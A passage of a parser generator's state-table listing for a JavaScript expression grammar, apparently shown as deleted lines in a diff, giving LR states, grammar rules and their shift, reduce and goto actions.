-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  ConditionalExpr  go to state 109
-
-state 113
-
-  46) ArrayLiteral : "[" ElementList _ "]"
-  47) ArrayLiteral : "[" ElementList _ "," ElisionOpt "]"
-  49) ElementList : ElementList _ "," ElisionOpt AssignmentExpr
-
-  ","           shift, and go to state 254
-  "]"           shift, and go to state 253
-
-
-state 114
-
-  51) ElisionOpt : Elision _
-  53) Elision : Elision _ ","
-
-  ","           shift, and go to state 255
-  $default      reduce using rule 51 (ElisionOpt)
-
-
-state 115
-
-  52) Elision : "," _
-
-  $default      reduce using rule 52 (Elision)
-
-
-state 116
-
-  60) MemberExprNoBF : MemberExprNoBF "[" _ Expr "]"
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  Expr          go to state 256
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  ConditionalExpr  go to state 109
-  AssignmentExpr  go to state 110
-
-state 117
-
-  61) MemberExprNoBF : MemberExprNoBF "." _ IDENT
-
-  IDENT         shift, and go to state 257
-
-
-state 118
-
-  71) CallExprNoBF : MemberExprNoBF Arguments _
-
-  $default      reduce using rule 71 (CallExprNoBF)
-
-
-state 119
-
-  75) Arguments : "(" _ ")"
-  76) Arguments : "(" _ ArgumentList ")"
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  ")"           shift, and go to state 258
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  ArgumentList  go to state 259
-  AssignmentExpr  go to state 260
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  ConditionalExpr  go to state 109
-
-state 120
-
-  56) MemberExpr : MemberExpr _ "[" Expr "]"
-  57) MemberExpr : MemberExpr _ "." IDENT
-  62) MemberExprNoBF : NEW MemberExpr _ Arguments
-  63) NewExpr : MemberExpr _
-
-  "("           shift, and go to state 119
-  "["           shift, and go to state 214
-  "."           shift, and go to state 215
-  $default      reduce using rule 63 (NewExpr)
-
-  Arguments     go to state 261
-
-state 121
-
-  66) NewExprNoBF : NEW NewExpr _
-
-  $default      reduce using rule 66 (NewExprNoBF)
-
-
-state 122
-
-  72) CallExprNoBF : CallExprNoBF Arguments _
-
-  $default      reduce using rule 72 (CallExprNoBF)
-
-
-state 123
-
-  73) CallExprNoBF : CallExprNoBF "[" _ Expr "]"
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  Expr          go to state 262
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  ConditionalExpr  go to state 109
-  AssignmentExpr  go to state 110
-
-state 124
-
-  74) CallExprNoBF : CallExprNoBF "." _ IDENT
-
-  IDENT         shift, and go to state 263
-
-
-state 125
-
-  87) PostfixExprNoBF : LeftHandSideExprNoBF PLUSPLUS _
-
-  $default      reduce using rule 87 (PostfixExprNoBF)
-
-
-state 126
-
-  88) PostfixExprNoBF : LeftHandSideExprNoBF MINUSMINUS _
-
-  $default      reduce using rule 88 (PostfixExprNoBF)
-
-
-state 127
-
- 200) AssignmentExprNoBF : LeftHandSideExprNoBF AssignmentOperator _ AssignmentExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  ConditionalExpr  go to state 109
-  AssignmentExpr  go to state 264
-
-state 128
-
- 201) AssignmentOperator : "=" _
-
-  $default      reduce using rule 201 (AssignmentOperator)
-
-
-state 129
-
- 202) AssignmentOperator : PLUSEQUAL _
-
-  $default      reduce using rule 202 (AssignmentOperator)
-
-
-state 130
-
- 203) AssignmentOperator : MINUSEQUAL _
-
-  $default      reduce using rule 203 (AssignmentOperator)
-
-
-state 131
-
- 204) AssignmentOperator : MULTEQUAL _
-
-  $default      reduce using rule 204 (AssignmentOperator)
-
-
-state 132
-
- 205) AssignmentOperator : DIVEQUAL _
-
-  $default      reduce using rule 205 (AssignmentOperator)
-
-
-state 133
-
- 206) AssignmentOperator : LSHIFTEQUAL _
-
-  $default      reduce using rule 206 (AssignmentOperator)
-
-
-state 134
-
- 207) AssignmentOperator : RSHIFTEQUAL _
-
-  $default      reduce using rule 207 (AssignmentOperator)
-
-
-state 135
-
- 208) AssignmentOperator : URSHIFTEQUAL _
-
-  $default      reduce using rule 208 (AssignmentOperator)
-
-
-state 136
-
- 209) AssignmentOperator : ANDEQUAL _
-
-  $default      reduce using rule 209 (AssignmentOperator)
-
-
-state 137
-
- 210) AssignmentOperator : XOREQUAL _
-
-  $default      reduce using rule 210 (AssignmentOperator)
-
-
-state 138
-
- 211) AssignmentOperator : OREQUAL _
-
-  $default      reduce using rule 211 (AssignmentOperator)
-
-
-state 139
-
- 212) AssignmentOperator : MODEQUAL _
-
-  $default      reduce using rule 212 (AssignmentOperator)
-
-
-state 140
-
-  83) PostfixExpr : LeftHandSideExpr _
-  84) PostfixExpr : LeftHandSideExpr _ PLUSPLUS
-  85) PostfixExpr : LeftHandSideExpr _ MINUSMINUS
-
-  PLUSPLUS      shift, and go to state 222
-  MINUSMINUS    shift, and go to state 223
-  $default      reduce using rule 83 (PostfixExpr)
-
-
-state 141
-
-  89) UnaryExprCommon : DELETE UnaryExpr _
-
-  $default      reduce using rule 89 (UnaryExprCommon)
-
-
-state 142
-
-  90) UnaryExprCommon : VOID UnaryExpr _
-
-  $default      reduce using rule 90 (UnaryExprCommon)
-
-
-state 143
-
-  91) UnaryExprCommon : TYPEOF UnaryExpr _
-
-  $default      reduce using rule 91 (UnaryExprCommon)
-
-
-state 144
-
-  92) UnaryExprCommon : PLUSPLUS UnaryExpr _
-
-  $default      reduce using rule 92 (UnaryExprCommon)
-
-
-state 145
-
-  93) UnaryExprCommon : MINUSMINUS UnaryExpr _
-
-  $default      reduce using rule 93 (UnaryExprCommon)
-
-
-state 146
-
-  94) UnaryExprCommon : "+" UnaryExpr _
-
-  $default      reduce using rule 94 (UnaryExprCommon)
-
-
-state 147
-
-  95) UnaryExprCommon : "-" UnaryExpr _
-
-  $default      reduce using rule 95 (UnaryExprCommon)
-
-
-state 148
-
-  96) UnaryExprCommon : "~" UnaryExpr _
-
-  $default      reduce using rule 96 (UnaryExprCommon)
-
-
-state 149
-
-  97) UnaryExprCommon : "!" UnaryExpr _
-
-  $default      reduce using rule 97 (UnaryExprCommon)
-
-
-state 150
-
- 107) MultiplicativeExprNoBF : MultiplicativeExprNoBF "*" _ UnaryExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 265
-
-state 151
-
- 108) MultiplicativeExprNoBF : MultiplicativeExprNoBF "/" _ UnaryExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 266
-
-state 152
-
- 109) MultiplicativeExprNoBF : MultiplicativeExprNoBF "%" _ UnaryExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 267
-
-state 153
-
- 114) AdditiveExprNoBF : AdditiveExprNoBF "+" _ MultiplicativeExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 268
-
-state 154
-
- 115) AdditiveExprNoBF : AdditiveExprNoBF "-" _ MultiplicativeExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 269
-
-state 155
-
- 121) ShiftExprNoBF : ShiftExprNoBF LSHIFT _ AdditiveExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 270
-
-state 156
-
- 122) ShiftExprNoBF : ShiftExprNoBF RSHIFT _ AdditiveExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 271
-
-state 157
-
- 123) ShiftExprNoBF : ShiftExprNoBF URSHIFT _ AdditiveExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 272
-
-state 158
-
- 138) RelationalExprNoBF : RelationalExprNoBF "<" _ ShiftExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 273
-
-state 159
-
- 139) RelationalExprNoBF : RelationalExprNoBF ">" _ ShiftExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 274
-
-state 160
-
- 140) RelationalExprNoBF : RelationalExprNoBF LE _ ShiftExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 275
-
-state 161
-
- 141) RelationalExprNoBF : RelationalExprNoBF GE _ ShiftExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 276
-
-state 162
-
- 142) RelationalExprNoBF : RelationalExprNoBF INSTANCEOF _ ShiftExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 277
-
-state 163
-
- 143) RelationalExprNoBF : RelationalExprNoBF IN _ ShiftExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
